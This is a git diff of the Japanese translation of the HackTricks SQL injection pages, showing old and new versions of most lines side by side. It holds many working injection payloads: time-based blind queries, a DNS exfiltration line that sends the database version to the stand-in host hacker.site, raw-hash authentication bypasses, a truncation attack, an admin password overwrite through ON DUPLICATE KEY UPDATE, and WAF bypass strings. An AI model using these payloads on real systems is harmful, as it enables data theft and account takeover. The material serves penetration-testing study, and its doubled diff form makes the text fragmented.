この場合、クエリの応答をページのコンテキストに基づいて区別する方法はありません。しかし、推測された文字が正しい場合、ページの読み込みに時間がかかるようにすることができます。すでにこのテクニックが使用されており、[SQLiの脆弱性を確認](./#confirming-with-timing)するために使用されています
この場合、ページのコンテキストに基づいてクエリの応答を区別する方法はありません。しかし、推測された文字が正しい場合、ページの読み込みに時間がかかるようにすることができます。これは、すでに[SQLi脆弱性を確認するために使用されている](./#confirming-with-timing)テクニックを見てきました
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
@ -245,9 +245,9 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
**Oracle**は**スタックされたクエリ**をサポートしていません。**MySQL、Microsoft**、および**PostgreSQL**はそれらをサポートしています:`ここにクエリ1; ここにクエリ2`
## Out of band Exploitation
## アウトオブバンド攻撃
他の**どの**攻撃手法も**機能しない**場合、**データベースに情報を外部ホスト**(あなたが制御する)に**送信**させることを試してみることができます。たとえば、DNSクエリを介して
他の**攻撃方法**が**機能しない**場合、**データベースに情報を外部ホスト**(あなたが制御する)に**送信**させることを試してみることができます。たとえば、DNSクエリを介して
```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```
@ -257,7 +257,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
```
## 自動化された攻撃
SQLi脆弱性を利用するための[**sqlmap**](https://github.com/sqlmapproject/sqlmap)を使用した[SQLMapチートシート](sqlmap/)を確認してください。
SQLi脆弱性を利用するための[**sqlmap**](https://github.com/sqlmapproject/sqlmap)を使用したSQLMapチートシートを確認してください。
## テクノロジー固有の情報
@ -269,11 +269,11 @@ SQLi脆弱性を利用するための[**sqlmap**](https://github.com/sqlmapproje
* [Oracle](oracle-injection.md)
* [PostgreSQL](postgresql-injection/)
また、**MySQL、PostgreSQL、Oracle、MSSQL、SQLite、HQLに関する多くのトリック**を[**こちら**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)で見つけることができます。
また、[**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)には、MySQL、PostgreSQL、Oracle、MSSQL、SQLite、HQLに関する多くのトリックがあります。
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術的知識の促進を使命とする**この会議は、あらゆる分野の技術とサイバーセキュリティ専門家にとっての熱い出会いの場です。
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術的知識の促進を使命**とするこの会議は、あらゆる分野の技術とサイバーセキュリティ専門家にとっての熱い出会いの場です。
{% embed url="https://www.rootedcon.com/" %}
@ -289,7 +289,7 @@ SQLi脆弱性を利用するための[**sqlmap**](https://github.com/sqlmapproje
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
このクエリは、MD5がtrueで生の出力を使用して認証チェックを行う際の脆弱性を示しており、システムがSQLインジェクションに対して脆弱になります。攻撃者は、入力を工夫してハッシュ化すると予期しないSQLコマンドの一部が生成され、不正アクセスが可能になります。
このクエリは、MD5がtrueで生の出力を使用して認証チェックを行う際の脆弱性を示しており、システムがSQLインジェクションに対して脆弱になります。攻撃者は、入力を工夫してハッシュ化すると予期しないSQLコマンドの一部が生成され、不正アクセスが可能になります。
```sql
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
@ -300,7 +300,7 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```
**推奨リスト**:
リストの各行をユーザー名として使用し、常にパスワード**_Pass1234._** としてください。\
リストの各行をユーザー名として使用し、常にパスワードとして **_Pass1234._** を使用する必要があります。\
(これらのペイロードは、このセクションの冒頭で言及されている大きなリストにも含まれています)
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
@ -332,15 +332,15 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
これを行うには、おそらくユーザーの場合は**管理者**として名前が付けられた**"マスターオブジェクト"**を作成しようとしてください:
- ユーザー名を作成:**AdMIn**(大文字と小文字の両方を含む
- ユーザー名を作成:**AdMIn**(大文字と小文字の組み合わせ
- ユーザー名を作成:**admin=**
- **SQL Truncation Attack**(ユーザー名やメールに**文字数制限**がある場合) --> 名前が**admin \[たくさんのスペース] a**のユーザーを作成
- **SQL Truncation Attack**(ユーザー名やメールに**文字数制限**がある場合) --> 名前が**admin \[たくさんのスペース]**のユーザーを作成
#### SQL Truncation Attack
データベースが脆弱で、ユーザー名の最大文字数が例えば30であり、ユーザー**admin**をなりすます場合、"_admin \[30スペース] a_"というユーザー名を作成してみてください。そして任意のパスワードを設定します。
データベースが脆弱で、ユーザー名の最大文字数が例えば30であり、ユーザー**admin**をなりすます場合、"_admin \[30スペース] a_"というユーザー名を作成してください。そして任意のパスワードを設定します。
データベースは、導入された**ユーザー名**がデータベース内に存在するかどうかを**確認**します。もし存在しない場合、**ユーザー名**を**許可された最大文字数**(この場合は"_admin \[25スペース]_")に**切り取り**、そして**末尾のすべてのスペースを自動的に削除**して、データベース内のユーザー"**admin**"の**新しいパスワード**を更新します(エラーが表示されるかもしれませんが、これが機能していないということではありません)。
データベースは、導入された**ユーザー名**がデータベース内に存在するかどうかを**チェック**します。もし存在しない場合、ユーザー名を**許可された最大文字数**(この場合は"_admin \[25スペース]_")に**切り取り**、そして末尾のすべてのスペースを**自動的に削除して**データベース内のユーザー"**admin**"の**新しいパスワード**を更新します(エラーが表示されるかもしれませんが、これが機能していないということではありません)。
詳細情報:[https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
@ -354,25 +354,19 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
### ON DUPLICATE KEY UPDATE
MySQLの`ON DUPLICATE KEY UPDATE`句は、UNIQUEインデックスまたはPRIMARY KEYで重複する値が挿入されようとした場合に、データベースが取るべきアクションを指定するために使用されます。次の例は、この機能を悪用して管理者アカウントのパスワードを変更する方法を示しています
MySQLの`ON DUPLICATE KEY UPDATE`句は、UNIQUEインデックスPRIMARY KEYで重複する値が挿入されようとした場合に、データベースが取るべきアクションを指定するために使用されます。次の例は、この機能を悪用して管理者アカウントのパスワードを変更する方法を示しています:
:インジェクションペイロード
: ペイロードインジェクション
インジェクションペイロードは、`users`テーブルに2つの行を挿入しようとするように作成されるかもしれません。最初の行はデコイであり、2番目の行は既存の管理者のメールアドレスを対象とし、パスワードを更新することを意図しています
インジェクションペイロードは、`users`テーブルに2つの行を挿入しようとするように作成されるかもしれません。最初の行はデコイであり、2番目の行は既存の管理者のメールアドレスを対象とし、パスワードを更新することを意図しています:
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
こういう仕組みです:
- クエリは2つの行を挿入しようとします`generic_user@example.com` 用と `admin_generic@example.com` 用の行です。
- もし `admin_generic@example.com` 用の行がすでに存在している場合、`ON DUPLICATE KEY UPDATE` 句がトリガーされ、MySQL に既存の行の `password` フィールドを "bcrypt_hash_of_newpassword" に更新するよう指示します。
- 結果として、認証は `admin_generic@example.com` を使用して試行でき、bcrypt ハッシュに対応するパスワードを使用できます("bcrypt_hash_of_newpassword" は新しいパスワードの bcrypt ハッシュを表し、実際のハッシュに置き換える必要があります)。
### 情報の抽出
#### 同時に2つのアカウントを作成する
新しいユーザーとユーザー名、パスワード、メールアドレスを作成しようとする場合:
新しいユーザーとユーザー名を作成しようとすると、パスワードとメールアドレスが必要です。
```
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
@ -395,15 +389,15 @@ A new user with username=otherUsername, password=otherPassword, email:FLAG will
#### Description
SQL injection is a common hacking technique used to attack databases through a web application. By inserting malicious SQL code into input fields, an attacker can manipulate the database and potentially gain unauthorized access to sensitive information.
SQL injection is a common hacking technique used to attack databases through a web application. By inserting malicious SQL code into input fields, an attacker can manipulate the database and potentially access, modify, or delete sensitive data.
#### Prevention
To prevent SQL injection attacks, web developers should use parameterized queries, input validation, and stored procedures. It is also important to sanitize user inputs and avoid dynamically constructing SQL queries with user-provided data.
To prevent SQL injection attacks, web developers should use parameterized queries, input validation, and proper error handling. Additionally, using an ORM (Object-Relational Mapping) library can help mitigate the risk of SQL injection by abstracting database interactions.
#### Example
Consider a login form where the username and password are entered. An attacker can input `' OR 1=1 --` in the username field to bypass authentication and gain access to the system.
Consider a login form where the username and password are entered. An attacker can input `' OR 1=1 --` as the username and bypass the login authentication if the application is vulnerable to SQL injection.
---
@ -411,15 +405,15 @@ Consider a login form where the username and password are entered. An attacker c
#### 説明
SQLインジェクションは、Webアプリケーションを介してデータベースを攻撃するために使用される一般的なハッキング技術です。悪意のあるSQLコードを入力フィールドに挿入することで、攻撃者はデータベースを操作し、機密情報に未承認でアクセスする可能性があります。
SQLインジェクションは、Webアプリケーションを介してデータベースを攻撃するために使用される一般的なハッキング技術です。悪意のあるSQLコードを入力フィールドに挿入することで、攻撃者はデータベースを操作し、機密データにアクセスしたり、変更したり、削除したりする可能性があります。
#### 予防方法
SQLインジェクション攻撃を防ぐために、Web開発者はパラメータ化されたクエリ、入力検証、およびストアドプロシージャを使用する必要があります。また、ユーザー入力をサニタイズし、ユーザー提供のデータで動的にSQLクエリを構築することを避けることも重要です。
SQLインジェクション攻撃を防ぐために、Web開発者はパラメーター化されたクエリ、入力検証、適切なエラーハンドリングを使用する必要があります。さらに、ORMObject-Relational Mappingライブラリを使用することで、データベースの相互作用を抽象化することで、SQLインジェクションのリスクを軽減するのに役立ちます。
#### 例
ユーザー名とパスワードが入力されるログインフォームを考えてみましょう。攻撃者は、ユーザー名フィールドに`' OR 1=1 --`を入力することで、認証をバイパスしてシステムにアクセスすることができます。
ユーザー名とパスワードが入力されるログインフォームを考えてみましょう。アプリケーションがSQLインジェクションに対して脆弱である場合、攻撃者はユーザー名として`' OR 1=1 --`を入力することで、ログイン認証をバイパスすることができます。
```python
__import__('binascii').unhexlify(hex(215573607263)[2:])
```
@ -434,13 +428,13 @@ __import__('binascii').unhexlify(hex(215573607263)[2:])
```
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術知識の促進を使命**として、この会議はあらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術的知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。
{% embed url="https://www.rootedcon.com/" %}
## ルーテッドSQLインジェクション
ルーテッドSQLインジェクションとは、インジェクション可能なクエリが出力を提供するものではなく、インジェクション可能なクエリの出力が出力を提供するクエリに移動する状況です。 ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
ルーテッドSQLインジェクションとは、出力を提供するクエリではなく、インジェクション可能なクエリの出力が出力を提供するクエリに移動する状況のことです。([論文より](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
例:
```
@ -464,39 +458,30 @@ __import__('binascii').unhexlify(hex(215573607263)[2:])
```
### No Whitespace - コメントを使用してバイパスする
SQLインジェクション攻撃時に、SQLクエリ内のスペースを回避するために、コメントを使用する方法があります。コメントを使用することで、スペースを挿入せずにSQL文を続行することができます。
例えば、以下のようなSQLクエリがあるとします
```sql
SELECT * FROM users WHERE username = 'admin' AND password = 'password';
```
このクエリにおいて、`'admin'`や`'password'`の部分にSQLインジェクションを行いたい場合、スペースを挿入せずにコメントを使用してバイパスすることができます。
```sql
' OR '1'='1'-- -
```
上記の例では、`' OR '1'='1'`がSQLインジェクションのペイロードであり、`--`以降はコメントとして無視されます。これにより、元のクエリが以下のようになります:
```sql
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1';
```
このように、コメントを使用することでスペースを挿入せずにSQLインジェクションを実行することができます。
このテクニックは、SQLインジェクション攻撃時にスペースを回避するためにコメントを使用する方法を示しています。コメントを使用することで、SQLクエリ内のスペースを無視することができ、攻撃の成功率を高めることができます。
```sql
?id=1/*comment*/and/**/1=1/**/--
```
### No Whitespace - パーレンシスを使用してバイパスしま
### No Whitespace - パーレンシスを使用してバイパスする
このテクニックは、SQLインジェクション攻撃時にスペースを回避するために使用されます。
- **説明**
- パーレンシスを使用して、SQLインジェクションの検出を回避する方法です。
- **攻撃**
- 通常のSQLインジェクション攻撃では、スペースを使用してSQLクエリを分割します。しかし、このテクニックでは、パーレンシスを使用してスペースを回避し、攻撃を実行します。
- **例**
- 通常のSQLインジェクション: `1' OR '1'='1`
- パーレンシスを使用したSQLインジェクション: `1')OR('1'='1`
- **対策**
- パラメーターの入力検証とサニタイズを行い、プリペアドステートメントやORMを使用してSQLインジェクションを防止します。
```sql
?id=(1)and(1)=(1)--
```
### コンマをバイパスする
OFFSET、FROM、JOINを使用したコンマバイパス
OFFSET、FROM、JOINを使用してコンマをバイパスします。
```
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
@ -510,7 +495,7 @@ SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELE
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```
### 大文字小文字を区別しないキーワードを使用したブラックリスト - 同等の演算子を使用してバイパス
### キーワードを使ったブラックリストは大文字小文字を区別しない - 同等の演算子を使用してバイパスします
```
AND -> && -> %26%26
OR -> || -> %7C%7C
@ -518,10 +503,10 @@ OR -> || -> %7C%7C
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
```
### 科学表記 WAF バイパス
### 科学表記 WAF バイパス
このトリックの詳細な説明は、[gosecure ブログ](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/)で見つけることができます。\
基本的に、WAF をバイパスするために予期しない方法で科学表記を使用できます。
基本的に、WAF をバイパスするために予期しない方法で科学表記を使用できます。
```
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
@ -531,7 +516,7 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
まず最初に、**元のクエリとフラグを抽出したいテーブルが同じ数のカラムを持っている場合**、単に次のようにすることができます: `0 UNION SELECT * FROM flag`
**カラム名を使用せずにテーブルの3番目のカラムにアクセスすることが可能**です。次のようなクエリを使用します: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`、したがって、これはsqlinjectionでは次のようになります:
カラム名を使用せずにテーブルの3番目のカラムにアクセスすることが可能です。次のようなクエリを使用します: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`、したがって、これはsqlinjectionでは次のようになります:
```bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
@ -558,7 +543,7 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野の技術とサイバーセキュリティ専門家にとっての熱い出会いの場です。
{% embed url="https://www.rootedcon.com/" %}
@ -566,10 +551,10 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricks で会社を宣伝**したいですか?または、**PEASS の最新バージョンにアクセス**したいですか、または HackTricks を **PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけます
* [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れます
* **💬** [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に **参加** または **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォローしてください。**
* **サイバーセキュリティ企業**で働いていますか? **HackTricks で会社を宣伝**したいですか?または、**PEASS の最新バージョンにアクセス**したいですか?または、HackTricks を **PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つけてください
* [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を手に入れましょう
* **💬** [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォロー**してください。
* **ハッキングトリックを共有するために、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks) と [hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)** に PR を提出してください。
</details>

View file

@ -4,11 +4,11 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**最新版のPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを入手してください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details>
@ -21,10 +21,10 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**最新版のPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを入手してください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details>

View file

@ -4,21 +4,21 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクション
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有する**ために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有**するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
</details>
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの1つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野の技術とサイバーセキュリティ専門家にとっての熱い出会いの場です。
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの1つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。
{% embed url="https://www.rootedcon.com/" %}
## コメント
## Comments
```sql
-- MYSQL Comment
# MYSQL Comment
@ -62,9 +62,11 @@ strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
```sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
```
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
## フロー
「現代」の**MySQL**のバージョンでは、「_**information\_schema.tables**_」を「_**mysql.innodb\_table\_stats**_**」に置き換えることができますこれはWAFをバイパスするのに役立つかもしれません
"現代"の**MySQL**のバージョンでは、"_**information\_schema.tables**_"を"_**mysql.innodb\_table\_stats**_**"**に置き換えることができますこれはWAFをバイパスするのに役立つかもしれません
```sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
@ -76,7 +78,7 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
* `group_concat()`
* `Limit X,1`
### **1つずつブラインド**
### **ブラインド one by one**
* `substr(version(),X,1)='r'`または`substring(version(),X,1)=0x70`または`ascii(substr(version(),X,1))=112`
* `mid(version(),X,1)='5'`
@ -104,21 +106,7 @@ UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
```
## MySQL Union Based
### Description
MySQL Union Based SQL Injection is a technique used to retrieve information from a database by injecting a SQL query into a vulnerable SQL statement. This technique involves using the `UNION` operator to combine the results of two or more SELECT statements into a single result set.
### Detection
